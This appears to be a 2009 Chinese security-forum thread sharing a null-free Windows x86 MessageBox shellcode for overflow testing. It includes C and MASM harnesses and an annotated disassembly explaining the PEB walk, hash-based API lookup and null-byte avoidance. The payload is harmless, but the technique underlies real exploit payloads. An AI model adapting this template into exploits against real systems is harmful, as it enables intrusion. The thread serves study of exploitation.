测试溢出时,感觉一个MessageBox的shellcode就足够了,但是网上不好找,郁闷之中自己写了个,贴出来供大家使用,本人写的第一个shellcode哦!

长度 = 字符串长+154bytes,避免了\x00,\x0A,\x0D

unsigned char shellcode[] =
"\xEB\x42\x8B\x59\x3C\x8B\x5C\x0B\x78\x03\xD9\x8B\x73\x20\x03\xF1"
"\x33\xFF\x4F\x47\xAD\x33\xED\x0F\xB6\x14\x01\x38\xF2\x74\x08\xC1"
"\xCD\x03\x03\xEA\x40\xEB\xF0\x3B\x6C\x24\x04\x75\xE6\x8B\x73\x24"
"\x03\xF1\x66\x8B\x3C\x7E\x8B\x73\x1C\x03\xF1\x8B\x04\xBE\x03\xC1"
"\x5B\x5F\x53\xC3\xEB\x4F\x33\xC0\x64\x33\x40\x30\x8B\x40\x0C\x8B"
"\x70\x1C\xAD\x8B\x48\x08\x58\x33\xDB\x33\xFF\x66\xBF\x33\x32\x57"
"\x68\x75\x73\x65\x72\x8B\xFC\x53\x51\x53\x50\x50\x53\x57\x68\x54"
"\x12\x81\x20\xE8\x8A\xFF\xFF\xFF\xFF\xD0\x8B\xC8\x68\x25\x59\x3A"
"\xE4\xE8\x7C\xFF\xFF\xFF\xFF\xD0\x59\x68\x97\x19\x6C\x2D\xE8\x6F"
"\xFF\xFF\xFF\xFF\xD0\xE8\xAC\xFF\xFF\xFF"
"hello,world!";

void main()
{
  ((void (_stdcall*)())&shellcode[0])();  
}

  • 标 题:答复
  • 作 者:小呆
  • 时 间:2009-04-29 09:53

((void (_stdcall*)())&shellcode[0])();  
分析:
(_stdcall*)() //函数指针 指向返回 _stdcall 型数据的函数
void (_stdcall*)() //没有返回值的 _stdcall 型函数指针
(void (_stdcall*)()) //这样就成了类型转换符....
((void (_stdcall*)())&shellcode[0])();// 现在明白了吗? shellcode[0] 的地址转换为指针调用...

解析完,,收功.....

  • 标 题:答复
  • 作 者:cnhnyu
  • 时 间:2009-08-04 18:22

我写了一段测试汇编代码:

  .386
  .model flat, stdcall
  option casemap:none

include    windows.inc
include    user32.inc
includelib  user32.lib
include    kernel32.inc
includelib  kernel32.lib

  .data
shellcode db     0EBh, 42h, 8Bh, 59h, 3Ch, 8Bh, 5Ch, 0Bh, 78h, 03h, 0D9h, 8Bh, 73h, 20h, 03h, 0F1h
    db       33h, 0FFh, 4Fh, 47h, 0ADh, 33h, 0EDh, 0Fh, 0B6h, 14h, 01h, 38h, 0F2h, 74h, 08h, 0C1h
          db       0CDh, 03h, 03h, 0EAh, 40h, 0EBh, 0F0h, 3Bh, 6Ch, 24h, 04h, 75h, 0E6h, 8Bh, 73h, 24h
          db       03h, 0F1h, 66h, 8Bh, 3Ch, 7Eh, 8Bh, 73h, 1Ch, 03h, 0F1h, 8Bh, 04h, 0BEh, 03h, 0C1h
    db     5Bh, 5Fh, 53h, 0C3h, 0EBh, 4Fh, 33h, 0C0h, 64h, 33h, 40h, 30h, 8Bh, 40h, 0Ch, 8Bh
    db     70h, 1Ch, 0ADh, 8Bh, 48h, 08h, 58h, 33h, 0DBh, 33h, 0FFh, 66h, 0BFh, 33h, 32h, 57h
    db     68h, 75h, 73h, 65h, 72h, 8Bh, 0FCh, 53h, 51h, 53h, 50h, 50h, 53h, 57h, 68h, 54h
    db     12h, 81h, 20h, 0E8h, 8Ah, 0FFh, 0FFh, 0FFh, 0FFh, 0D0h, 8Bh, 0C8h, 68h, 25h, 59h, 3Ah
    db     0E4h, 0E8h, 7Ch, 0FFh, 0FFh, 0FFh, 0FFh, 0D0h, 59h, 68h, 97h, 19h, 6Ch, 2Dh, 0E8h, 6Fh
    db     0FFh, 0FFh, 0FFh, 0FFh, 0D0h, 0E8h, 0ACh, 0FFh, 0FFh, 0FFh
    db     'hello,world!', 0
  .code
start:
  mov  eax, offset shellcode
  call  eax
  invoke  ExitProcess, 0
  end start

  • 标 题:答复
  • 作 者:RemRain
  • 时 间:2009-08-05 20:35

00403000   EB 42            JMP SHORT hellowor.00403044 ;跳转到半中间

;-----------------------GetProcAddress  ------------------
;ecx传递dll基址,堆栈传递hash值,返回值在eax中
00403002   8B59 3C          MOV EBX,DWORD PTR DS:[ECX+3C]
00403005   8B5C0B 78        MOV EBX,DWORD PTR DS:[EBX+ECX+78]
00403009   03D9             ADD EBX,ECX
0040300B   8B73 20          MOV ESI,DWORD PTR DS:[EBX+20]
0040300E   03F1             ADD ESI,ECX
00403010   33FF             XOR EDI,EDI
00403012   4F               DEC EDI
00403013   47               INC EDI
00403014   AD               LODS DWORD PTR DS:[ESI]
00403015   33ED             XOR EBP,EBP
00403017   0FB61401         MOVZX EDX,BYTE PTR DS:[ECX+EAX]
0040301B   38F2             CMP DL,DH
0040301D   74 08            JE SHORT hellowor.00403027
0040301F   C1CD 03          ROR EBP,3
00403022   03EA             ADD EBP,EDX
00403024   40               INC EAX
00403025  ^EB F0            JMP SHORT hellowor.00403017
00403027   3B6C24 04        CMP EBP,DWORD PTR SS:[ESP+4]
0040302B  ^75 E6            JNZ SHORT hellowor.00403013
0040302D   8B73 24          MOV ESI,DWORD PTR DS:[EBX+24]
00403030   03F1             ADD ESI,ECX
00403032   66:8B3C7E        MOV DI,WORD PTR DS:[ESI+EDI*2]
00403036   8B73 1C          MOV ESI,DWORD PTR DS:[EBX+1C]
00403039   03F1             ADD ESI,ECX
0040303B   8B04BE           MOV EAX,DWORD PTR DS:[ESI+EDI*4]
0040303E   03C1             ADD EAX,ECX
00403040   5B               POP EBX
00403041   5F               POP EDI
00403042   53               PUSH EBX
00403043   C3               RETN
----------------------GetProcAddress结束--------------------------


半中间:
00403044   EB 4F            JMP SHORT hellowor.00403095 ;跳到结尾



;------------------------------------------------------------------

真正开始处:  ;由call跳回来的
00403046   33C0             XOR EAX,EAX
00403048   64:3340 30       XOR EAX,DWORD PTR FS:[EAX+30]
0040304C   8B40 0C          MOV EAX,DWORD PTR DS:[EAX+C]
0040304F   8B70 1C          MOV ESI,DWORD PTR DS:[EAX+1C]
00403052   AD               LODS DWORD PTR DS:[ESI]
00403053   8B48 08          MOV ECX,DWORD PTR DS:[EAX+8] 
;以上几步取kernel32.dll基址,存到ecx中

;----------------------------构造堆栈------------------------------------
00403056   58               POP EAX   ;对应结尾处的call,得到字符串地址
00403057   33DB             XOR EBX,EBX
00403059   33FF             XOR EDI,EDI
0040305B   66:BF 3332       MOV DI,3233
0040305F   57               PUSH EDI    ; "32"
00403060   68 75736572      PUSH 72657375  ; "user"
00403065   8BFC             MOV EDI,ESP    ; edi->"user32"
00403067   53               PUSH EBX
00403068   51               PUSH ECX
00403069   53               PUSH EBX
0040306A   50               PUSH EAX
0040306B   50               PUSH EAX
0040306C   53               PUSH EBX
0040306D   57               PUSH EDI
;----------------------------完成堆栈------------------------------------
;此时,堆栈数据如下
; 0  ;ExitProcess参数

; base of kernel32.dll

; 0
; offset "hello"
; offset "hello"
; 0    ;MessageBoxA参数

; offset "user32"


0040306E   68 54128120      PUSH 20811254    ;LoadLiarbryA的hash值
00403073   E8 8AFFFFFF      CALL hellowor.00403002  ;call自己写的GetProcAddress

00403078   FFD0             CALL EAX    ;堆栈中已有参数"user32",直接LoadLiarbry

0040307A   8BC8             MOV ECX,EAX      ;ecx->user32.dll
0040307C   68 25593AE4      PUSH E43A5925    ;hash of "MessageBoxA"
00403081   E8 7CFFFFFF      CALL hellowor.00403002  ;自己的GetProcAddress

00403086   FFD0             CALL EAX    ;MessageBoxA参数已提前构造好,直接call

00403088   59               POP ECX      ;从堆栈中取kernel32基址
00403089   68 97196C2D      PUSH 2D6C1997    ;hash of ExitProcess
0040308E   E8 6FFFFFFF      CALL hellowor.00403002  ;自己的GetProcAddress

00403093   FFD0             CALL EAX    ;call ExitProcess

结尾:
00403095   E8 ACFFFFFF      CALL hellowor.00403046 ;这里call主要是取"hello,world"的地址
;跳转到代码真正开始处

;------------------此处其实是ASCII串: "hello,world!"-------------------
0040309A   68 656C6C6F      PUSH 6F6C6C65
0040309F   2C 77            SUB AL,77
004030A1   6F               OUTS DX,DWORD PTR ES:[EDI]               ; I/O 命令
004030A2   72 6C            JB SHORT hellowor.00403110
004030A4   64:2100          AND DWORD PTR FS:[EAX],EAX
;----------------------字符串结束--------------------------------------



其实很简单,一开始连续两次jmp其实是避免机器码中出现0x00,因此用short jmp

jmp完成后call取字符串地址,并跳到真正的入口

入口处得到kernel32基址并构造堆栈,方便以后直接调用函数。(若以后再构造堆栈,就必须多次用清零操作,代码会变长)

然后就是不断得到函数地址并进行call